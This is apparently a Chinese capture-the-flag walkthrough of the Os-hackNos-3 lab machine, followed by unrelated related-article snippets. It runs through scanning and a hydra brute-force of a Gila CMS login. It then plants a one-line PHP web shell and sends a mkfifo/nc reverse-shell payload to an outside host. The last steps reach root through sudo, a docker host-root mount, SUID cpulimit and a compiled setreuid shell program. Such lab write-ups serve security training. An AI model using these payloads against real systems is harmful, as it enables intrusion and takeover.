Os-hackNos-3
Os-hackNos-3
1 信息收集

1.1 端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.2 后台目录扫描
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[16:36:37] Starting:
[16:23:28] 200 - 195B - /index.html
[16:36:38] 200 - 2KB - /scripts
[16:36:52] 200 - 5KB - /devil
[16:36:59] 200 - 5KB - /websec
Task Completed
# 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec
[17:23:20] 200 - 2KB - /websec/admin
1.2.1 目录分析
http://192.168.0.3/scripts/
http://192.168.0.3/devil/
http://192.168.0.3/websec/收集到网站的邮箱:
contact@hacknos.com

http://192.168.0.3/websec/admin
使用cewl收集网站信息生成目标网站字典
┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ cewl http://192.168.0.3/websec/ > cewl.txt
2 爆破后台登录页面
根据收集的网站信息,邮箱contact@hacknos.com,网站字典:cewl.txt进行爆破
2.1 BP爆破
发现该后台登录页面对登录请求的IP进行了限制

去掉Cookie头部字段后可以正常爆破:
# 得到用户名:
contact@hacknos.com
# 密码
Securityx


2.2 hydra爆破
┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符;
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3 login: contact@hacknos.com password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18

3 利用Gila后台GetShell
在Gila CMS 文件管理页面,添加后门文件:
http://192.168.0.3/websec/admin/fm<?php system($_POST['acmd']);?>

修改
http://192.168.0.3/websec/admin/fm?f=./.htaccess文件,添加内容如下,并保存RewriteCond %{REQUEST_URI} !shell.php

得到webshell

构造Post请求利用nc反弹shell
POST /websec/shell.php HTTP/1.1
Host: 192.168.0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell


利用python切换shell
python -c 'import pty;pty.spawn("/bin/bash")'
3 提权
3.1 收集当前系统信息
查看
/etc/passwd文件得到当前系统存在用户:blackdevil在
blackdevil家目录中找到user.txt的flag文件
查找具有SUID权限的命令:cpulimit
www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/cpulimit
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/at
/usr/bin/pkexec
/usr/bin/chsh
查找用户所创建的敏感文件:没有东东
www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null
3.2 切换到用户提权
3.2.1 查找blackdevil用户密码
查看当前
www-data用户的sudo权限:sudo -l,没有东东
查找可疑文件(这个真的好难找,我没搞出来):
/var/local/database# 根据提示spreadsheet的编码方式
Expenses
Software Licenses,$2.78
Maintenance,$68.87
Mortgage Interest,$70.35
Advertising,$9.78
Phone,$406.80
Insurance,$9.04
Opss;fackespreadsheet

解码得到密码:
Security@x@解码网站:Spreadsheet mimic - decode (spammimic.com)


切换为blackdevil用户,并查看该用户所属组
blackdevil属于docker,sudo组

查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限

3.2.2 sudo 提权
blackdevil@hacknos:~$ sudo su -

3.2.3 docker提权
当前系统docker镜像文件

下载docker镜像文件,启动容器并挂载宿主机的根目录
# alpine镜像非常小非常适合用于提权
blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
chroot /mnt

3.3 cpulimit 提权
3.3.1 直接提权
cpulimit -l 100 -f -- /bin/sh -p

3.3.2 利用cpulimit执行提权脚本进行提权
提权脚本
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}
gcc编译提权脚本
┌──(kali㉿kali)-[~]
└─$ gcc exp.c -o exp
上传exp文件到目标主机:BASE64编码方式
查看编译后的exp文件Base64编码:
base64 exp
在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:
www-data@hacknos:/var/www/html/websec$ vim exp.b64
解码/exp.b64文件:
www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
编写设置权限脚本,赋予exp文件sid权限
chmod +x exp
提权
cpulimit -l 100 -f ./exp

Os-hackNos-3的更多相关文章
- NodeJs之OS
OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...
- Node.js:OS模块
os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...
- Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验
Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...
- Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)
Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...
- Mac OS、Ubuntu 安装及使用 Consul
Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...
- java 利用ManagementFactory获取jvm,os的一些信息--转
原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...
- 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。
写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...
- Mac OS X 上编写 ASP.NET vNext (二) IDE配置
上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...
- 在Mac OS X上安装ASP.NET 5(译文)
ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...
- Python标准模块--os
1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...
随机推荐
- [论文阅读] 颜色迁移-Correlated Color Space
[论文阅读] 颜色迁移-Correlated Color Space 文章: Color transfer in correlated color space, [paper], [matlab co ...
- 【Java SE】Day11 final、权限、内部类、引用类型
一.final关键字 1.概述 避免子类改写父类内容,使用final关键字,修饰不可变内容 可以修饰类(不可被继承).方法.变量(不能被重新赋值 ) 2.使用 (基本类型)被修饰的变量只能被赋值一次 ...
- 深入理解 MySQL 的事务隔离级别和 MVCC 机制
前言 我们都知道 MySQL 实现了 SQL 标准中的四个隔离级别,但是具体是如何实现的可能还一知半解,本篇博客将会从代码层面讲解隔离级别的实现方式,下面进入正题. 事务 考虑这样一个场景:博主向硝子 ...
- 【Redis场景1】用户登录注册
细节回顾: 关于cookie和session不熟悉的朋友: 建议阅读该博客:https://www.cnblogs.com/ityouknow/p/10856177.html 执行流程: 在单体模式下 ...
- Django中ORM多对多三种创建方式(全自动-纯手动-半自动)
一:多对多三种创建方式 1.全自动: 利用orm自动帮我们创建第三张关系表 class Book(models.Model): name = models.CharField(max_length=3 ...
- RequestMappingHandlerMapping请求地址映射的初始化流程!
之前的文章里,介绍了DispatcherSerlvet处理请求的流程. 其中一个核心的步骤是:请求地址映射,即根据request获取对应的HandlerExcecutionChain. 为了后续的请求 ...
- 13-flask博客项目之restful api详解2-使用
13-flask博客项目之restful api详解1-概念 13-flask博客项目之restful api详解1-概念 Flask-RESTful学习网站 英文:https://flask-res ...
- 实用!7个强大的Python机器学习库!⛵
作者:韩信子@ShowMeAI 机器学习实战系列:https://www.showmeai.tech/tutorials/41 本文地址:https://www.showmeai.tech/artic ...
- Jmeter 之吞吐量控制器
作用: 吞吐量控制器可用来模拟混合场景的压测业务,即一部分用户执行场景A,一部分用户执行场景B 字段说明: Total Excutions:执行请求总数 Percent Excutions:执行线程数 ...
- vscode下无法使用fresh的问题
使用了go get github.com/pilu/fresh ,需要 go install github.com/pilu/fresh. 在带用go.mod的版本中,go get只是下载代码和帮助修 ...